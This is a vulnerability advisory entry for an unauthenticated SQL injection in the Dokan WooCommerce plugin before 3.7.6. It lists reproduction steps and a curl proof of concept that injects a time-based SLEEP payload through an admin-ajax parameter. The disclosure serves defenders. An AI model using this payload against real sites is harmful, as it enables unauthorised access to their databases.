Lucene search

K
wpexploitCydaveWPEX-ID:FD416D99-1970-418F-81F5-8438490D4479
HistoryNov 21, 2022 - 12:00 a.m.

Dokan < 3.7.6 - Unauthenticated SQLi

2022-11-2100:00:00
cydave
188
dokan
unauthenticated
sqli
woocommerce
plugin
vulnerability
exploit
security

EPSS

0.002

Percentile

57.8%

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users

Setup:

- Install WooCommerce (dependency, no setup required)
- Install the plugin, complete the wizard (no special configuration was performed - all defaults were accepted)

Attack:

- As an unauthenticated user, access the "Store List" page (default at /store-listing/) and extract the "search_products_nonce" from the source
- Invoke the following curl command (with the extracted nonce in place) to induce a five second sleep:

time curl "https://example.com/wp-admin/admin-ajax.php?action=dokan_json_search_products_and_variations&security=<NONCE-HERE>&term=x&user_ids='+AND+(SELECT+5362+FROM+(SELECT(SLEEP(5)))yWDg)--+qXby"

EPSS

0.002

Percentile

57.8%

Related for WPEX-ID:FD416D99-1970-418F-81F5-8438490D4479